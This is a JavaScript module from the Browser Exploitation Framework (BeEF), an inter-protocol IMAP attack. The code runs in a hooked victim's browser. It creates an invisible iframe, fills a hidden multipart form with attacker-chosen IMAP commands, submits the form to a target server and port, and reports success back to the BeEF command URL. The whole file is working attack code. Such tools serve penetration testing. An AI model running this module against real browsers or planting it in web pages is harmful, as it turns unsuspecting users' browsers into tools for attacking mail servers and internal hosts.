Path: blob/master/modules/ipec/inter_protocol_imap/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/**7* Inter protocol IMAP module8* Ported from BeEF-0.4.0.0 by jgaliana (Original author: Wade)9*10*/11beef.execute(function() {1213var server = '<%= @server %>';14var port = '<%= @port %>';15var commands = '<%= @commands %>';1617var target = "http://" + server + ":" + port + "/abc.html";18var iframe = beef.dom.createInvisibleIframe();1920var form = document.createElement('form');21form.setAttribute('name', 'data');22form.setAttribute('action', target);23form.setAttribute('method', 'post');24form.setAttribute('enctype', 'multipart/form-data');2526var input = document.createElement('input');27input.setAttribute('id', 'data1')28input.setAttribute('name', 'data1')29input.setAttribute('type', 'hidden');30input.setAttribute('value', commands);31form.appendChild(input);3233iframe.contentWindow.document.body.appendChild(form);34form.submit();3536beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IMAP4 commands sent");3738});394041